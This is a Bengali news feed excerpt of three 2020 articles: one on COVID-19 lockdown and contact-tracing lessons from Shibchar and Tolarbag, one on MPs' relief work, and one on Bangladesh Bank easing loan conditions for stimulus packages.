শিবচরের উপজেলা নির্বাহী কর্মকর্তা মো. আসাদুজ্জামান সমকালকে বলেন, সারাদেশে যখন ১৭ জন আক্রান্ত ছিল, তখন শিবচরেই ছিল আটজন। ইতালিফেরত একজনের মাধ্যমে সংক্রমণ শুরু হয়েছিল। পরে আরও সাতজন আক্রান্ত হয়। তাদের মধ্যে ঢাকা ও নারায়ণগঞ্জ থেকে আসা ব্যক্তিরাও ছিল। এর পরই লকডাউন ঘোষণা করা হয়। এই লকডাউনের মাধ্যমে এলাকায় কাউকে প্রবেশ করতে কিংবা বের হতে দেওয়া হয়নি। নমুনা পরীক্ষার মাধ্যমে আক্রান্ত ব্যক্তিকে শনাক্ত করে আইসোলেশনে নেওয়া হয়েছিল। একই সঙ্গে তার সংস্পর্শে আসা ব্যক্তিদের কন্ট্রাক্ট ট্রেসিংয়ের মাধ্যমে চিহ্নিত করে কোয়ারেন্টাইন করা হয়। যথাযথ স্বাস্থ্যবিধির পাশাপাশি সামাজিক দূরত্ব নিশ্চিত করার মাধ্যমে এই এলাকায় সংক্রমণ প্রতিরোধ করা সম্ভব হয়েছে বলে জানান তিনি।
আইইডিসিআরের প্রধান বৈজ্ঞানিক কর্মকর্তা ডা. এএসএম আলমগীর বলেন, শিবচর এবং টোলারবাগ সারাদেশের জন্য আদর্শ হতে পারে। সংক্রমণের শুরুতে এই দুটি এলাকায় আক্রান্ত বেশি ছিল এবং প্রথম যে দু’জনের মৃত্যু হয়েছিল, তারা টোলারবাগের বাসিন্দা ছিলেন। এর পরই দুটি এলাকাকে লকডাউন করার পরামর্শ দেওয়া হয়। আইইডিসিআরের পরামর্শ মেনে প্রশাসন এলাকা দুটিকে কার্যকরভাবে লকডাউন করে। কার্যকর লকডাউন ও কন্ট্রাক্ট ট্রেসিংয়ের মাধ্যমে যে সুফল পাওয়া যায়, তার প্রকৃত উদাহরণ এই দুই এলাকা। কয়েক দিন ধরে এলাকা দুটিতে নতুন কোনো সংক্রমণ নেই। সুতরাং এই দুটি এলাকাকে আদর্শ ধরে সারাদেশে তা অনুসরণ করা যেতে পারে। বিশেষ করে যেসব জেলা ও উপজেলায় এখনও আক্রান্ত পাওয়া যায়নি কিংবা সংখ্যায় কম আক্রান্ত আছে, সেসব এলাকায় কার্যকর লকডাউন করতে পারলে সংক্রমণ ঠেকানো যাবে বলে মনে করেন তিনি।
যেভাবে পথ হারিয়েছে দেশ :কন্টাক্ট ট্রেসিং সঠিকভাবে না হওয়ায় সারাদেশে রোগটির সংক্রমণ ছড়িয়ে পড়েছে বলে মনে করছেন সংশ্নিষ্ট বিশেষজ্ঞরা। এ বক্তব্যের সঙ্গে একমত পোষণ করেছেন আইইডিসিআর কর্তকর্তারাও। ডা. এএসএম আলমগীর মনে করেন, ৮ মার্চ প্রথম করোনা আক্রান্ত শনাক্তের পর এপ্রিলের তৃতীয় সপ্তাহ পর্যন্ত কন্টাক্ট ট্রেসিংয়ের কাজটি ঠিক ছিল। মাঝখানে কিছুদিন সমস্যার কারণে তা করা হয়নি। এখন আবার ব্যাপকভাবে কাজটি করা হচ্ছে।
তবে কী কারণে কন্টাক্ট ট্রেসিংয়ের কাজটি বন্ধ হয়েছিল সে সম্পর্কে বিস্তারিত কিছু জানাননি ডা. আলমগীর। কন্টাক্ট ট্রেসিংয়ে কয়েকটি জটিলতার কথা তুলে ধরে তিনি বলেন, কন্টাক্ট ট্রেসিংয়ের ক্ষেত্রে সবচেয়ে বড় জটিলতা হলো মানুষ তথ্য লুকাতে চাচ্ছে। ল্যাব থেকে আক্রান্ত হওয়ার তথ্য জানার পর অনেকে ফোন বন্ধ করে দিচ্ছে। আবার অনেকে বসবাসের ঠিকানাও পরিবর্তন করছে। এ কারণে তার সংস্পর্শে আসা ব্যক্তিদের পাওয়া যাচ্ছে না।
ডা. আলমগীর বলেন, প্রথম দিকে একজন আক্রান্ত হলে তার কন্টাক্ট ট্রেসিংয়ের মাধ্যমে ৬০ থেকে ৭০ জন পর্যন্ত বের করেছি। কিন্তু এখন মানুষ সত্য না বলায় কন্টাক্ট ট্রেসিং জটিল হয়ে পড়েছে। স্মার্টফোন দিয়ে কন্টাক্ট ট্রেসিংয়ের চেষ্টা করা হয়েছিল। কিন্তু আক্রান্তদের একটি বড় অংশ স্মার্টফোন ব্যবহার করে না। ফলে তার অবস্থানও নির্ণয় করা যায় না। তিনি আরও বলেন, ২৬ মার্চ সাধারণ ছুটির পর যেসব করোনা পজিটিভ ব্যক্তিকে শনাক্ত করা হয়েছে, তাদের অনেকেই স্বীকার করেনি যে বাইরে গেছেন বা বাইরে কত দিন ছিলেন। অসত্য বললে তারা কার সংস্পর্শে গেছেন তা বের করাও অসম্ভব হয়ে পড়ে।
আইইডিসিআরের উপদেষ্টা ড. মুশতাক হোসেন সমকালকে বলেন, ২৬ মার্চ ছুটি ঘোষণার পর মানুষ ঢাকা থেকে গ্রামে যান। আবার ঈদের ছুটিতে হাজার হাজার মানুষ ঢাকা থেকে গ্রামে আসা-যাওয়া করেছেন। অর্থাৎ, কিছু মানুষ সংক্রমিত এলাকা ঢাকা ও নারায়ণগঞ্জ থেকে গ্রামে গেছেন। এতে করে রোগটি গ্রামেও ছড়িয়ে পড়ে। এভাবে ব্যাপকভাবে ছড়িয়ে পড়া ব্যক্তিদের সংস্পর্শে কারা এসেছিলেন বাস্তব প্রেক্ষাপটে বিবেচনা করলে তা বের করা খুব সহজ নয়। তবে যেসব এলাকায় রোগটি এখনও ছড়ায়নি, সেসব এলাকায় রোগী পাওয়া মাত্র ট্রেসিং করতে পারলে বিস্তার রোধ করা সম্ভব হবে।
কার্যকর লকডাউন ও ট্রেসিংয়ের বিকল্প নেই- মত বিশেষজ্ঞদের :কার্যকর লকডাউন ও ট্রেসিংই করোনা প্রতিরোধের একমাত্র মাধ্যম বলে মত দিয়েছেন বঙ্গবন্ধু শেখ মুজিব মেডিকেল বিশ্ববিদ্যালয়ের সাবেক উপাচার্য ও ভাইরোলজিস্ট অধ্যাপক ডা. নজরুল ইসলাম। তিনি সমকালকে বলেন, করোনা নিয়ন্ত্রণ ও প্রতিরোধের বিষয়ে স্বাস্থ্য বিভাগ শুরুর দিকে এতটা তৎপর ছিল না। প্রথমে চীনের উহান থেকে ফিরিয়ে আনা ব্যক্তিদের কোয়ারেন্টাইন করা হয়েছিল। এ পর্যন্ত ঠিক ছিল। এর পর বিদেশ থেকে আসা আর কাউকে কোয়ারেন্টাইন করা হয়নি এবং তাদের মাধ্যমেই প্রথম সংক্রমণ শুরু হয়। ধাপে ধাপে তার পরিবারের সদস্য, প্রতিবেশী থেকে শুরু করে সবার মধ্যে ভাইরাসটি ছড়িয়ে পড়ে। সুতরাং বিদেশ থেকে আসা ব্যক্তিদের ১৪ দিন কোয়ারেন্টাইন করা গেলে হয়তো রোগটির সংক্রমণ এড়ানো যেত। আবার শুরুর দিকে আক্রান্ত ব্যক্তি শনাক্ত হওয়ার পর তার সংস্পর্শে আসা ব্যক্তিদের ট্রেসিংয়ের মাধ্যমে বিচ্ছিন্ন করা গেলেও ভাইরাসটি ছড়ানোর সুযোগ পেত না। এগুলোর কোনোটিই ঠিকমতো না হওয়ায় করোনা ভয়াবহ আকারে ছড়িয়ে পড়েছে।
ড. নজরুল ইসলাম আরও বলেন, বর্তমানে জোনভিত্তিক লকডাউন করার বিষয়ে সরকার যে সিদ্ধান্ত নিয়েছে, তা কঠোরভাবে বাস্তবায়ন করতে না পারলে সুফল আসবে না। লকডাউন করা এলাকা থেকে কাউকে বের কিংবা ওই এলাকায় কাউকে প্রবেশ করতে দেওয়া যাবে না। একই সঙ্গে ওই এলাকার সবার নমুনা পরীক্ষা করে আইসোলেশন ও কোয়ারেন্টাইন করা গেলে ভালো ফল আসবে। সুতরাং এটি সরকারকে কঠোরভাবে বাস্তবায়নের প্রতি মনোযোগী হতে হবে।
বিশ্ব স্বাস্থ্য সংস্থার সাবেক আঞ্চলিক উপদেষ্টা অধ্যাপক ডা. মোজাহেরুল হক সমকালকে বলেন, কার্যকর লকডাউনের বিষয়ে শুরু থেকেই আমরা বলে আসছি। কিন্তু দেশে কখনোই কার্যকর লকডাউন হয়নি। ২৬ মার্চ ছুটি ঘোষণার পর ঈদের ছুটি মনে করে হাজার হাজার মানুষ ঢাকা থেকে গ্রামে গেছেন। মাঝখানে গার্মেন্ট খুলে দেওয়ার সিদ্ধান্ত দিয়ে শ্রমিকদের ফিরিয়ে আনা হলো। আবার গার্মেন্ট বন্ধ করা হলো। আবার ঈদ সামনে রেখে দোকানপাট খুলে দেওয়া হলো। সর্বোচ্চ সংক্রমণের এই সময়ে সবকিছু খুলে দেওয়ার সিদ্ধান্তও ছিল আত্মঘাতী। বর্তমানে ভাইরাসটি সর্বত্র ছড়িয়ে পড়েছে। এখন জোনভিত্তিক যে কর্মসূচি নেওয়া হয়েছে, তা সঠিকভাবে বাস্তবায়নের ওপর নির্ভর করবে পরিস্থিতি কোন দিকে যাবে। তবে লকডাউনের পাশাপাশি ট্রেসিং করা এখানে জরুরি। একই সঙ্গে লকডাউন দেওয়া এলাকায় সবার নমুনা পরীক্ষাও করতে হবে। এ প্রক্রিয়ায় হয়তো পরিস্থিতি নিয়ন্ত্রণে আসতে পারে।
কর্তৃপক্ষের ভাষ্য :আইইডিসিআরের পরিচালক অধ্যাপক ডা. মীরজাদী সেব্রিনা ফ্লোরা সমকালকে বলেন, বৈজ্ঞানিকভাবে লকডাউন হয়ে গেলে কিন্তু সবাই ঘরের মধ্যে থাকবে। তখন ট্রেসিং ততটা গুরুত্বপূর্ণ ভূমিকা পালন করবে না। সুতরাং ২৬ মার্চ থেকে লকডাউন হওয়ার পর ট্রেসিংয়ের কাজটি আগের মতো ব্যাপকভাবে করা হয়নি। শুরুতে যেমনটি করা হয়েছিল টোলারবাগ ও শিবচরে। তবে রোগীর তথ্যগুলো আমরা সংগ্রহ করতাম। কিন্তু রোগী কার সংস্পর্শে গেছেন তা জানার তখন প্রয়োজন পড়েনি, কারণ তার ঘরের মধ্যেই থাকার কথা। হয়তো ঘরের মধ্যে ছিল না। বিষয়টি নজরে আসার পর আমরা আক্রান্ত ব্যক্তিকে ফোন করে তার তথ্য চাইলেও হয়তো সঠিকভাবে দেয়নি। যেমন কেউ বাইরে থাকলেও আমাদের জানিয়েছে, তিনি ঘরেই আছেন। আবার কারও কারও ফোন বন্ধ পাওয়া গেছে।
ডা. মীরজাদী সেব্রিনা ফ্লোরা আরও বলেন, প্রযুক্তিগতভাবেও চেষ্টা করেছি। কিন্তু অনেকে অ্যানালগ ফোন ব্যবহার করায় ট্রেসিং করা যায়নি। আবার অনেকে ফোন বন্ধ করে রাখায় তাকেও ট্রেসিংয়ের আওতায় আনা যায়নি। এর বাইরে কার্যক্রমগুলো করতে যে জনবল প্রয়োজন তাও আইইডিসিআরের নেই। সুতরাং কাজটি একটু বাধাগ্রস্ত হয়েছিল। তবে বর্তমানে জোরালোভাবে কাজটি শুরু করা হয়েছে বলেও জানান তিনি।

]]>
https://www.dhakaskynews.com/bangladesh/2020/06/10/News_ID-411/feed/ 0
নিজ এলাকায় ত্রাণ দিচ্ছেন সাংসদরা : তথ্যমন্ত্রী https://www.dhakaskynews.com/bangladesh/2020/05/25/News_ID-382/ https://www.dhakaskynews.com/bangladesh/2020/05/25/News_ID-382/#respond Mon, 25 May 2020 09:07:01 +0000 https://www.dhakaskynews.com/?p=382 তথ্যমন্ত্রী ও আওয়ামী লীগের যুগ্ম সাধারণ সম্পাদক ড. হাছান মাহমুদ বলেছেন, করোনা প্রাদুর্ভাবের শুরু থেকেই প্রায় সব সংসদ সদস্য নিজ এলাকায় ত্রাণ কার্যক্রম চালিয়ে আসছেন। রোববার মন্ত্রী তার ঢাকার মিন্টু রোডের সরকারি বাসভবনে সংক্ষিপ্ত প্রেস ব্রিফিংয়ে একথা বলেন।

করোনা মোকাবিলায় বেশির ভাগ সংসদ সদস্য নিজ এলাকায় যাননি- এমন একটি প্রতিবেদনের প্রেক্ষিতে সাংসদদের আন্তরিকতার কথা তুলে ধরে এ মন্তব্য করেন তথ্যমন্ত্রী। তিনি বলেন, দেশে একটি চিহ্নিত মহল রাজনীতিবিদ ও সংসদ সদস্যদের হেয় করার উদ্দেশ্যে এধরণের বিভ্রান্তিকর প্রতিবেদন পরিবেশন করে, যা সমীচীন নয়।

মন্ত্রী বলেন, সরকারের পক্ষ থেকে প্রত্যেককে ঘরে থাকার অনুরোধ করা হয়েছে। সেটি সবার জন্যই প্রযোজ্য। সংসদ সদস্যরা এলাকায় গেলে লোকসমাগম হয়। সেটিও এড়ানোর প্রয়োজন ছিল। কিছু বয়োজ্যেষ্ঠ ও অসুস্থ সাংসদকে বাসায় থাকার পরামর্শ দেয়া হয়েছিল। তারা এবং অন্য দু’একজন ব্যতিত প্রত্যেক সংসদ সদস্যই নিজ এলাকায় ত্রাণ তৎপরতায় অংশ নিয়েছেন ও নিচ্ছেন।’

করোনার মধ্যে নিয়মিত অফিস করেছেন আবার নিজ এলাকায় গিয়েছেন জানিয়ে ড. হাছান মাহমুদ বলেন, তথ্য মন্ত্রণালয় শুরু থেকেই খোলা। এরমধ্যেই বেশ ক’বার এলাকায় যেতে হয়েছে, করোনা মোকাবিলায় বিভাগীয় সমন্বয় সভা করতে হয়েছে। এলাকায় থেকে ত্রাণ দিয়েছি আবার ঢাকা থেকেও প্রতিদিন খোঁজ নিচ্ছি। অন্য সংসদ সদস্যরাও নিচ্ছেন।

]]>
https://www.dhakaskynews.com/bangladesh/2020/05/25/News_ID-382/feed/ 0
করোনায় বিশেষ প্রণোদনা-ঋণ আবেদনের শর্ত শিথিল https://www.dhakaskynews.com/business/2020/05/11/News_ID-55/ https://www.dhakaskynews.com/business/2020/05/11/News_ID-55/#respond Mon, 11 May 2020 11:21:59 +0000 https://www.dhakaskynews.com/?p=55 করোনাভাইরাসের প্রাদুর্ভাবে সৃষ্ট অর্থনৈতিক ক্ষতি মোকাবিলায় ঘোষিত বিশেষ প্রণোদনা প্যাকেজ থেকে ঋণনেয়ার প্রক্রিয়া আরো সহজ করেছে কেন্দ্রীয় ব্যাংক। এসব প্যাকেজের আওতায় ঋণ নেয়ার ক্ষেত্রে বাংলাদেশ ব্যাংকের প্রণীত ইন্টারনাল ক্রেডিট রিস্করেটিং (আইসিআরআর) নীতিমালার শর্ত পূরণ বাধ্যতামূলক নয়। ফলে আইসিআরআরের শর্ত পূরণ না করেও ঋণ আবেদন করতে পারবেন গ্রাহক।

করোনায় দাফতরিক কার্যক্রম সীমিত হয়ে পড়ায় এবং আইসিআরআরেরকার্যক্রম ব্যাহত ও গ্রহীতার প্রয়োজনীয় কাগজপত্র সরবরাহে বিঘ্ন হওয়ায় এই সিদ্ধান্ত নিয়েছে কেন্দ্রীয় ব্যাংক। এ বিষয়ে রবিবার (১০ মে) বাংলাদেশ ব্যাংকের ব্যাংকিং প্রবিধি ও নীতি বিভাগ থেকে এ সংক্রান্ত একটি সার্কুলার জারি করা হয়।

সার্কুলারে বলা হয়েছে, এই দুর্যোগপূর্ণ অবস্থায় শিল্প ও সেবা খাতের আওতায়কার্যক্রম দ্রুত চালু করার জন্য প্রণোদনা প্যাকেজের ঋণ সুবিধা দিতে আইসিআরআর সম্পন্ন না করেও ব্যাংক ঋণ দিতে পারবে। তবে প্রতিটি ব্যাংক বিদ্যমান নিজস্ব নীতিমালার আওতায় ঋণঝুঁকি বিশ্লেষণপূর্বক ব্যাংকার-গ্রাহক সম্পর্কের ভিত্তিতে গ্রাহক নির্বাচন করবে। এক্ষেত্রে সার্কুলারের সঙ্গে সংযুক্ত একটি ফরম পূরণ করতে হবে প্রতিটি গ্রাহককে।

আইসিআরআর নীতিমালায়, প্রথমত একজন গ্রাহককে এক্সিলেন্ট, গুড, মার্জিনাল ও আন-অ্যাকসেপ্টেবল এ চার শ্রেণিতে ভাগ করবে ব্যাংকগুলো।কোনো গ্রাহক এক্সিলেন্ট রেটিং পেলে ব্যাংক তাকে ঋণ দিতে পারবে। গুডরেটিং পেলেও ব্যাংক তাকে ঋণ দিতে পারবে। মার্জিনাল রেটিংধারী গ্রাহককে পুরোনো ঋণ নবায়ন বা নতুন করে ঋণ দেয়ার ক্ষেত্রে সতর্কতা অবলম্বন করতে হবে ব্যাংককে। আনঅ্যাকসেপ্টেবল রেটিংধারীকে কোনো পরিস্থিতিতেই নতুন ঋণ দিতে পারবে না ব্যাংকগুলো, যদি না আগের ঋণ শতভাগ নগদ পরিশোধ হয় অথবা জামানত দিয়ে ঋণটি আচ্ছাদন করা হয়। এই শ্রেণির গ্রাহকের আগের ঋণ সর্বোচ্চ দুবার নবায়ন বা বর্ধিতকরা যাবে।

নীতিমালায় বলা হয়েছে, রেটিং করার ক্ষেত্রে একটি পার্টি বাগ্রাহকের পরিমাণগত সক্ষমতায় ৬০ শতাংশ নম্বর এবং গুণগত সক্ষমতায় ৪০শতাংশ নম্বর থাকবে। এদিকে করোনায় ক্ষতিগ্রস্ত ছোট ও বড় ব্যবসায়ীদেরজন্য সরকার প্রায় এক লাখ কোটি টাকার প্রণোদনা প্যাকেজ ঘোষণা করেছে। এর মধ্যে ব্যাংকগুলোর মাধ্যমে ৩০ হাজার কোটি টাকা ঋণ পাবে বড় শিল্পখাত। ক্ষুদ্র ও মাঝারি শিল্প খাত পাবে ২০ হাজার কোটি টাকা। এসব ঋণের সুদ ৯ শতাংশ হিসাব করা হলেও ঋণগ্রহীতাদের দিতে হবে গড়ে অর্ধেক সুদ। বাকি অর্ধেক সুদের অর্থ সরকার ভর্তুকি আকারে ব্যাংকগুলোকে দিয়ে দেবে।

]]>
https://www.dhakaskynews.com/business/2020/05/11/News_ID-55/feed/ 0